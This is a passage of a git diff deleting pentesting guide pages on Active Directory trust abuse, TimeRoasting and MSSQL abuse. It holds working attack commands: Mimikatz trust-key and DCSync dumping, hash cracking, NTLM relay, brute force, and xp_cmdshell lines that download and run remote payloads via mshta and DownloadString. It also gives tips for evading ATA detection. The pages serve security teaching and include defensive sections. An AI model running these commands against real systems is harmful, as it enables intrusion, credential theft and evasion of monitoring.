-1. **Enumerate** the trusting relationships
-2. Check if any **security principal** (user/group/computer) has **access** to resources of the **other domain**, maybe by ACE entries or by being in groups of the other domain. Look for **relationships across domains** (the trust was created for this probably).
-   1. kerberoast in this case could be another option.
-3. **Compromise** the **accounts** which can **pivot** through domains.
-
-Attackers with could access to resources in another domain through three primary mechanisms:
-
-- **Local Group Membership**: Principals might be added to local groups on machines, such as the “Administrators” group on a server, granting them significant control over that machine.
-- **Foreign Domain Group Membership**: Principals can also be members of groups within the foreign domain. However, the effectiveness of this method depends on the nature of the trust and the scope of the group.
-- **Access Control Lists (ACLs)**: Principals might be specified in an **ACL**, particularly as entities in **ACEs** within a **DACL**, providing them access to specific resources. For those looking to dive deeper into the mechanics of ACLs, DACLs, and ACEs, the whitepaper titled “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” is an invaluable resource.
-
-### Find external users/groups with permissions
-
-You can check **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** to find foreign security principals in the domain. These will be user/group from **an external domain/forest**.
-
-You could check this in **Bloodhound** or using powerview:
-
-```powershell
-# Get users that are i groups outside of the current domain
-Get-DomainForeignUser
-
-# Get groups inside a domain with users our
-Get-DomainForeignGroupMember
-```
-
-### Child-to-Parent forest privilege escalation
-
-```bash
-# Fro powerview
-Get-DomainTrust
-
-SourceName      : sub.domain.local    --> current domain
-TargetName      : domain.local        --> foreign domain
-TrustType       : WINDOWS_ACTIVE_DIRECTORY
-TrustAttributes : WITHIN_FOREST       --> WITHIN_FOREST: Both in the same forest
-TrustDirection  : Bidirectional       --> Trust direction (2ways in this case)
-WhenCreated     : 2/19/2021 1:28:00 PM
-WhenChanged     : 2/19/2021 1:28:00 PM
-```
-
-Other ways to enumerate domain trusts:
-
-```bash
-# Get DCs
-nltest /dsgetdc:<DOMAIN>
-
-# Get all domain trusts
-nltest /domain_trusts /all_trusts /v
-
-# Get all trust of a domain
-nltest /dclist:sub.domain.local
-nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
-```
-
-> [!WARNING]
-> There are **2 trusted keys**, one for _Child --> Parent_ and another one for _Parent_ --> _Child_.\
-> You can the one used by the current domain them with:
->
-> ```bash
-> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
-> Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
-> ```
-
-#### SID-History Injection
-
-Escalate as Enterprise admin to the child/parent domain abusing the trust with SID-History injection:
-
-
-{{#ref}}
-sid-history-injection.md
-{{#endref}}
-
-#### Exploit writeable Configuration NC
-
-Understanding how the Configuration Naming Context (NC) can be exploited is crucial. The Configuration NC serves as a central repository for configuration data across a forest in Active Directory (AD) environments. This data is replicated to every Domain Controller (DC) within the forest, with writable DCs maintaining a writable copy of the Configuration NC. To exploit this, one must have **SYSTEM privileges on a DC**, preferably a child DC.
-
-**Link GPO to root DC site**
-
-The Configuration NC's Sites container includes information about all domain-joined computers' sites within the AD forest. By operating with SYSTEM privileges on any DC, attackers can link GPOs to the root DC sites. This action potentially compromises the root domain by manipulating policies applied to these sites.
-
-For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
-
-**Compromise any gMSA in the forest**
-
-An attack vector involves targeting privileged gMSAs within the domain. The KDS Root key, essential for calculating gMSAs' passwords, is stored within the Configuration NC. With SYSTEM privileges on any DC, it's possible to access the KDS Root key and compute the passwords for any gMSA across the forest.
-
-Detailed analysis and step-by-step guidance can be found in:
-
-
-{{#ref}}
-golden-dmsa-gmsa.md
-{{#endref}}
-
-Complementary delegated MSA attack (BadSuccessor – abusing migration attributes):
-
-
-{{#ref}}
-badsuccessor-dmsa-migration-abuse.md
-{{#endref}}
-
-Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
-
-**Schema change attack**
-
-This method requires patience, waiting for the creation of new privileged AD objects. With SYSTEM privileges, an attacker can modify the AD Schema to grant any user complete control over all classes. This could lead to unauthorized access and control over newly created AD objects.
-
-Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
-
-**From DA to EA with ADCS ESC5**
-
-The ADCS ESC5 vulnerability targets control over Public Key Infrastructure (PKI) objects to create a certificate template that enables authentication as any user within the forest. As PKI objects reside in the Configuration NC, compromising a writable child DC enables the execution of ESC5 attacks.
-
-More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
-
-### External Forest Domain - One-Way (Inbound) or bidirectional
-
-```bash
-Get-DomainTrust
-SourceName      : a.domain.local   --> Current domain
-TargetName      : domain.external  --> Destination domain
-TrustType       : WINDOWS-ACTIVE_DIRECTORY
-TrustAttributes :
-TrustDirection  : Inbound          --> Inboud trust
-WhenCreated     : 2/19/2021 10:50:56 PM
-WhenChanged     : 2/19/2021 10:50:56 PM
-```
-
-In this scenario **your domain is trusted** by an external one giving you **undetermined permissions** over it. You will need to find **which principals of your domain have which access over the external domain** and then try to exploit it:
-
-
-{{#ref}}
-external-forest-domain-oneway-inbound.md
-{{#endref}}
-
-### External Forest Domain - One-Way (Outbound)
-
-```bash
-Get-DomainTrust -Domain current.local
-
-SourceName      : current.local   --> Current domain
-TargetName      : external.local  --> Destination domain
-TrustType       : WINDOWS_ACTIVE_DIRECTORY
-TrustAttributes : FOREST_TRANSITIVE
-TrustDirection  : Outbound        --> Outbound trust
-WhenCreated     : 2/19/2021 10:15:24 PM
-WhenChanged     : 2/19/2021 10:15:24 PM
-```
-
-In this scenario **your domain** is **trusting** some **privileges** to principal from a **different domains**.
-
-However, when a **domain is trusted** by the trusting domain, the trusted domain **creates a user** with a **predictable name** that uses as **password the trusted password**. Which means that it's possible to **access a user from the trusting domain to get inside the trusted one** to enumerate it and try to escalate more privileges:
-
-
-{{#ref}}
-external-forest-domain-one-way-outbound.md
-{{#endref}}
-
-Another way to compromise the trusted domain is to find a [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) created in the **opposite direction** of the domain trust (which isn't very common).
-
-Another way to compromise the trusted domain is to wait in a machine where a **user from the trusted domain can access** to login via **RDP**. Then, the attacker could inject code in the RDP session process and **access the origin domain of the victim** from there.\
-Moreover, if the **victim mounted his hard drive**, from the **RDP session** process the attacker could store **backdoors** in the **startup folder of the hard drive**. This technique is called **RDPInception.**
-
-
-{{#ref}}
-rdp-sessions-abuse.md
-{{#endref}}
-
-### Domain trust abuse mitigation
-
-### **SID Filtering:**
-
-- The risk of attacks leveraging the SID history attribute across forest trusts is mitigated by SID Filtering, which is activated by default on all inter-forest trusts. This is underpinned by the assumption that intra-forest trusts are secure, considering the forest, rather than the domain, as the security boundary as per Microsoft's stance.
-- However, there's a catch: SID filtering might disrupt applications and user access, leading to its occasional deactivation.
-
-### **Selective Authentication:**
-
-- For inter-forest trusts, employing Selective Authentication ensures that users from the two forests are not automatically authenticated. Instead, explicit permissions are required for users to access domains and servers within the trusting domain or forest.
-- It's important to note that these measures do not safeguard against the exploitation of the writable Configuration Naming Context (NC) or attacks on the trust account.
-
-[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
-
-## LDAP-based AD Abuse from On-Host Implants
-
-The [LDAP BOF Collection](https://github.com/P0142/LDAP-Bof-Collection) re-implements bloodyAD-style LDAP primitives as x64 Beacon Object Files that run entirely inside an on-host implant (e.g., Adaptix C2). Operators compile the pack with `git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make`, load `ldap.axs`, and then call `ldap <subcommand>` from the beacon. All traffic rides the current logon security context over LDAP (389) with signing/sealing or LDAPS (636) with auto certificate trust, so no socks proxies or disk artifacts are required.
-
-### Implant-side LDAP enumeration
-
-- `get-users`, `get-computers`, `get-groups`, `get-usergroups`, and `get-groupmembers` resolve short names/OU paths into full DNs and dump the corresponding objects.
-- `get-object`, `get-attribute`, and `get-domaininfo` pull arbitrary attributes (including security descriptors) plus the forest/domain metadata from `rootDSE`.
-- `get-uac`, `get-spn`, `get-delegation`, and `get-rbcd` expose roasting candidates, delegation settings, and existing [Resource-based Constrained Delegation](resource-based-constrained-delegation.md) descriptors directly from LDAP.
-- `get-acl` and `get-writable --detailed` parse the DACL to list trustees, rights (GenericAll/WriteDACL/WriteOwner/attribute writes), and inheritance, giving immediate targets for ACL privilege escalation.
-
-```powershell
-ldap get-users --ldaps
-ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
-ldap get-writable --detailed
-ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"
-```
-
-### LDAP write primitives for escalation & persistence
-
-- Object creation BOFs (`add-user`, `add-computer`, `add-group`, `add-ou`) let the operator stage new principals or machine accounts wherever OU rights exist. `add-groupmember`, `set-password`, `add-attribute`, and `set-attribute` directly hijack targets once write-property rights are found.
-- ACL-focused commands such as `add-ace`, `set-owner`, `add-genericall`, `add-genericwrite`, and `add-dcsync` translate WriteDACL/WriteOwner on any AD object into password resets, group membership control, or DCSync replication privileges without leaving PowerShell/ADSI artifacts. `remove-*` counterparts clean up injected ACEs.
-
-### Delegation, roasting, and Kerberos abuse
-
-- `add-spn`/`set-spn` instantly make a compromised user Kerberoastable; `add-asreproastable` (UAC toggle) marks it for AS-REP roasting without touching the password.
-- Delegation macros (`add-delegation`, `set-delegation`, `add-constrained`, `add-unconstrained`, `add-rbcd`) rewrite `msDS-AllowedToDelegateTo`, UAC flags, or `msDS-AllowedToActOnBehalfOfOtherIdentity` from the beacon, enabling constrained/unconstrained/RBCD attack paths and eliminating the need for remote PowerShell or RSAT.
-
-### sidHistory injection, OU relocation, and attack surface shaping
-
-- `add-sidhistory` injects privileged SIDs into a controlled principal’s SID history (see [SID-History Injection](sid-history-injection.md)), providing stealthy access inheritance fully over LDAP/LDAPS.
-- `move-object` changes the DN/OU of computers or users, letting an attacker drag assets into OUs where delegated rights already exist before abusing `set-password`, `add-groupmember`, or `add-spn`.
-- Tightly scoped removal commands (`remove-attribute`, `remove-delegation`, `remove-rbcd`, `remove-uac`, `remove-groupmember`, etc.) allow rapid rollback after the operator harvests credentials or persistence, minimizing telemetry.
-
-## AD -> Azure & Azure -> AD
-
-
-{{#ref}}
-https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
-{{#endref}}
-
-## Some General Defenses
-
-[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)
-
-### **Defensive Measures for Credential Protection**
-
-- **Domain Admins Restrictions**: It is recommended that Domain Admins should only be allowed to login to Domain Controllers, avoiding their use on other hosts.
-- **Service Account Privileges**: Services should not be run with Domain Admin (DA) privileges to maintain security.
-- **Temporal Privilege Limitation**: For tasks requiring DA privileges, their duration should be limited. This can be achieved by: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
-- **LDAP relay mitigation**: Audit Event IDs 2889/3074/3075 and then enforce LDAP signing plus LDAPS channel binding on DCs/clients to block LDAP MITM/relay attempts.
-
-{{#ref}}
-ldap-signing-and-channel-binding.md
-{{#endref}}
-
-### Protocol-level fingerprinting of Impacket activity
-
-If you want to detect common AD tradecraft, **do not rely only on operator-controlled artifacts** such as renamed binaries, service names, temp batch files, or output paths. Baseline how legitimate Windows clients build [Kerberos](kerberos-authentication.md), [NTLM](../ntlm/README.md), SMB, LDAP, DCE/RPC, and WMI traffic, then look for **implementation quirks** that remain even after the operator edits `psexec.py`, `wmiexec.py`, `dcomexec.py`, `atexec.py`, or `ntlmrelayx.py`.
-
-- **High-confidence standalone candidates** (after validating against your own baseline):
-  - Authenticated DCE/RPC using `auth_context_id = 79231 + ctx_id`
-  - DCE/RPC authentication padding filled with `0xff`
-  - LDAP Kerberos binds that place a raw Kerberos `AP-REQ` directly in SPNEGO `mechToken`
-  - SMB2/3 negotiate requests with ASCII-looking `ClientGuid` values
-  - WMI `IWbemLevel1Login::NTLMLogin` using the non-standard namespace `//./root/cimv2`
-  - Hardcoded Kerberos nonce values
-- **Better as correlation/scoring features**:
-  - Sparse or duplicated Kerberos etype lists, unusual/missing `PA-DATA`, or TGS-REQ etype ordering that differs from native Windows
-  - NTLM Type 1 messages missing version info or Type 3 messages with null host names
-  - Raw NTLMSSP carried in DCE/RPC instead of SPNEGO, missing DCE/RPC verification trailers, or SPNEGO/Kerberos OID mismatches
-  - Several of these traits from the same host/user/session/time window are far stronger than any single weak field
-- **Use as enrichment, not as standalone alerts**:
-  - Default filenames, output paths, random service names, temporary batch names, default computer account names, and tool-specific HTTP/WebDAV/RDP/MSSQL strings
-  - These are easy for operators to change and are best used to explain why a cross-protocol cluster is suspicious
-- **Operational notes**:
-  - Some of these signals require decrypted traffic, [PCAP/Zeek parsing](../../generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md), ETW, or service-side visibility
-  - Validate against Samba/Linux clients, appliances, and legacy software before promoting to alerts
-  - Promote detections from enrichment -> hunting -> alerting as you build confidence in the baseline
-
-### **Implementing Deception Techniques**
-
-- Implementing deception involves setting traps, like decoy users or computers, with features such as passwords that do not expire or are marked as Trusted for Delegation. A detailed approach includes creating users with specific rights or adding them to high privilege groups.
-- A practical example involves using tools like: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
-- More on deploying deception techniques can be found at [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
-
-### **Identifying Deception**
-
-- **For User Objects**: Suspicious indicators include atypical ObjectSID, infrequent logons, creation dates, and low bad password counts.
-- **General Indicators**: Comparing attributes of potential decoy objects with those of genuine ones can reveal inconsistencies. Tools like [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) can assist in identifying such deceptions.
-
-### **Bypassing Detection Systems**
-
-- **Microsoft ATA Detection Bypass**:
-  - **User Enumeration**: Avoiding session enumeration on Domain Controllers to prevent ATA detection.
-  - **Ticket Impersonation**: Utilizing **aes** keys for ticket creation helps evade detection by not downgrading to NTLM.
-  - **DCSync Attacks**: Executing from a non-Domain Controller to avoid ATA detection is advised, as direct execution from a Domain Controller will trigger alerts.
-
-## References
-
-- [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
-- [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)
-- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
-- [LDAP BOF Collection – In-Memory LDAP Toolkit for Active Directory Exploitation](https://github.com/P0142/LDAP-Bof-Collection)
-- [TrustedSec – Holy Shuck! Weaponizing NTLM Hashes as a Wordlist](https://trustedsec.com/blog/holy-shuck-weaponizing-ntlm-hashes-as-a-wordlist)
-- [Barbhack 2025 CTF (NetExec AD Lab) – Pirates](https://0xdf.gitlab.io/2026/01/29/barbhack-2025-ctf.html)
-- [Hashcat](https://github.com/hashcat/hashcat)
-- [ThatTotallyRealMyth/Impacket-IoCs – Dissecting Impacket](https://github.com/ThatTotallyRealMyth/Impacket-IoCs)
-- [rub-softsec/onelogon - Onelogon: Taking over Active Directory Accounts via Netlogon](https://github.com/rub-softsec/onelogon)
-- [Microsoft - How to manage the changes in Netlogon secure channel connections associated with CVE-2020-1472](https://support.microsoft.com/en-us/topic/how-to-manage-the-changes-in-netlogon-secure-channel-connections-associated-with-cve-2020-1472-f7e8cc17-0309-1d6a-304e-5ba73cd1a11e)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/TimeRoasting.md b/src/windows-hardening/active-directory-methodology/TimeRoasting.md
deleted file mode 100644
index 9fecbc76bce..00000000000
--- a/src/windows-hardening/active-directory-methodology/TimeRoasting.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# TimeRoasting
-
-{{#include ../../banners/hacktricks-training.md}}
-
-TimeRoasting abuses the legacy MS-SNTP authentication extension. In MS-SNTP, a client can send a 68-byte request that embeds any computer account RID; the domain controller uses the computer account's NTLM hash (MD4) as the key to compute a MAC over the response and returns it. Attackers can collect these MS-SNTP MACs unauthenticated and crack them offline (Hashcat mode 31300) to recover computer account passwords.
-
-See section 3.1.5.1 "Authentication Request Behavior" and 4 "Protocol Examples" in the official MS-SNTP spec for details.
-![TimeRoasting: See section 3.1.5.1 "Authentication Request Behavior" and 4 "Protocol Examples" in the official MS-SNTP spec for details](../../images/Pasted%20image%2020250709114508.png)
-When the ExtendedAuthenticatorSupported ADM element is false, the client sends a 68-byte request and embeds the RID in the least significant 31 bits of the Key Identifier subfield of the authenticator.
-
-> If the ExtendedAuthenticatorSupported ADM element is false, the client MUST construct a Client NTP Request message. The Client NTP Request message length is 68 bytes. The client sets the Authenticator field of the Client NTP Request message as described in section 2.2.1, writing the least significant 31 bits of the RID value into the least significant 31 bits of the Key Identifier subfield of the authenticator, and then writing the Key Selector value into the most significant bit of the Key Identifier subfield.
-
-From section 4 (Protocol Examples):
-
-> After receiving the request, the server verifies that the received message size is 68 bytes. Assuming that the received message size is 68 bytes, the server extracts the RID from the received message. The server uses it to call the NetrLogonComputeServerDigest method (as specified in [MS-NRPC] section 3.5.4.8.2) to compute the crypto-checksums and select the crypto-checksum based on the most significant bit of the Key Identifier subfield from the received message, as specified in section 3.2.5. The server then sends a response to the client, setting the Key Identifier field to 0 and the Crypto-Checksum field to the computed crypto-checksum.
-
-The crypto-checksum is MD5-based (see 3.2.5.1.1) and can be cracked offline, enabling the roasting attack.
-
-## How to Attack
-
-[SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast) - Timeroasting scripts by Tom Tervoort
-
-```bash
-sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
-hashcat -m 31300 ntp-hashes.txt
-```
-
----
-
-## Practical attack (unauth) with NetExec + Hashcat
-
-- NetExec can enumerate and collect MS-SNTP MACs for computer RIDs unauthenticated and print $sntp-ms$ hashes ready for cracking:
-
-```bash
-# Target the DC (UDP/123). NetExec auto-crafts per-RID MS-SNTP requests
-netexec smb <dc_fqdn_or_ip> -M timeroast
-# Output example lines: $sntp-ms$*<rid>*md5*<salt>*<mac>
-```
-
-- Crack offline with Hashcat mode 31300 (MS-SNTP MAC):
-
-```bash
-hashcat -m 31300 timeroast.hashes /path/to/wordlist.txt --username
-# or let recent hashcat auto-detect; keep RIDs with --username for convenience
-```
-
-- The recovered cleartext corresponds to a computer account password. Try it directly as the machine account using Kerberos (-k) when NTLM is disabled:
-
-```bash
-# Example: cracked for RID 1125 -> likely IT-COMPUTER3$
-netexec smb <dc_fqdn> -u IT-COMPUTER3$ -p 'RecoveredPass' -k
-```
-
-Operational tips
-- Ensure accurate time sync before Kerberos: `sudo ntpdate <dc_fqdn>`
-- If needed, generate krb5.conf for the AD realm: `netexec smb <dc_fqdn> --generate-krb5-file krb5.conf`
-- Map RIDs to principals later via LDAP/BloodHound once you have any authenticated foothold.
-
-## References
-
-- [MS-SNTP: Microsoft Simple Network Time Protocol](https://winprotocoldoc.z19.web.core.windows.net/MS-SNTP/%5bMS-SNTP%5d.pdf)
-- [Secura – Timeroasting whitepaper](https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf)
-- [SecuraBV/Timeroast](https://github.com/SecuraBV/Timeroast)
-- [NetExec – official docs](https://www.netexec.wiki/)
-- [Hashcat mode 31300 – MS-SNTP](https://hashcat.net/wiki/doku.php?id=example_hashes)
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
deleted file mode 100644
index 1b072ddc8e7..00000000000
--- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md
+++ /dev/null
@@ -1,325 +0,0 @@
-# MSSQL AD Abuse
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-## **MSSQL Enumeration / Discovery**
-
-### Python
-
-The [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) tool is based on impacket, and allows also authenticate using kerberos tickets, and attack through link chains
-
-<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
-  
-```shell
-# Interactive mode
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
-
-# Interactive mode with 2 depth level of impersonations
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
-
-# Executing custom assembly on the current server with windows authentication and executing hostname command
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
-
-# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
-
-# Executing the hostname command using stored procedures on the linked SRV01 server
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
-
-# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
-
-# Issuing NTLM relay attack on the SRV01 server
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
-
-# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
-
-# Issuing NTLM relay attack on the local server with custom command
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
-
-# Executing direct query
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
-
-# Retrieving password from the linked server DC01
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
-
-# Execute code using custom assembly on the linked server DC01
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
-
-# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
-
-mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
-
-# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
-
-mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
-
-# Bruteforce using tickets against the hosts listed on the hosts.txt
-
-mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
-
-# Bruteforce using passwords against the hosts listed on the hosts.txt
-
-mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
-
-# Bruteforce using hashes against the hosts listed on the hosts.txt
-
-mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
-
-```
-
-### Enumerating from the network without domain session
-
-```
-
-# Interactive mode
-
-mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
-
-````
-
----
-###  Powershell
-
-The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case.
-
-```bash
-Import-Module .\PowerupSQL.psd1
-````
-
-### Enumerating from the network without domain session
-
-```bash
-# Get local MSSQL instance (if any)
-Get-SQLInstanceLocal
-Get-SQLInstanceLocal | Get-SQLServerInfo
-
-#If you don't have a AD account, you can try to find MSSQL scanning via UDP
-#First, you will need a list of hosts to scan
-Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
-
-#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
-#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
-Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
-```
-
-### Enumerating from inside the domain
-
-```bash
-# Get local MSSQL instance (if any)
-Get-SQLInstanceLocal
-Get-SQLInstanceLocal | Get-SQLServerInfo
-
-#Get info about valid MSQL instances running in domain
-#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
-Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
-
-# Try dictionary attack to login
-Invoke-SQLAuditWeakLoginPw
-
-# Search SPNs of common software and try the default creds
-Get-SQLServerDefaultLoginPw 
-
-#Test connections with each one
-Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
-
-#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
-Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
-
-# Get DBs, test connections and get info in oneliner
-Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
-```
-
-## MSSQL Basic Abuse
-
-### Access DB
-
-```bash
-# List databases
-Get-SQLInstanceDomain | Get-SQLDatabase
-
-# List tables in a DB you can read
-Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName
-
-# List columns in a table
-Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName
-
-# Get some sample data from a column in a table (columns username & passwor din the example)
-Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10
-
-#Perform a SQL query
-Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
-
-#Dump an instance (a lot of CVSs generated in current dir)
-Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
-
-# Search keywords in columns trying to access the MSSQL DBs
-## This won't use trusted SQL links
-Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
-```
-
-### MSSQL RCE
-
-It might be also possible to **execute commands** inside the MSSQL host
-
-```bash
-Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
-# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
-```
-
-Check in the page mentioned in the **following section how to do this manually.**
-
-### MSSQL Basic Hacking Tricks
-
-
-{{#ref}}
-../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
-{{#endref}}
-
-## MSSQL Trusted Links
-
-If a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
-
-**The links between databases work even across forest trusts.**
-
-### Powershell Abuse
-
-```bash
-#Look for MSSQL links of an accessible instance
-Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
-
-#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
-Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
-
-#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
-Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
-
-#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
-Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
-
-#Obtain a shell
-Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
-
-#Check for possible vulnerabilities on an instance where you have access
-Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
-
-#Try to escalate privileges on an instance
-Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
-
-#Manual trusted link queery
-Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
-## Enable xp_cmdshell and check it
-Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
-Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
-Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
-## If you see the results of @@selectname, it worked
-Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
-```
-
-Another similar tool taht could be used is [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):
-
-```bash
-SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
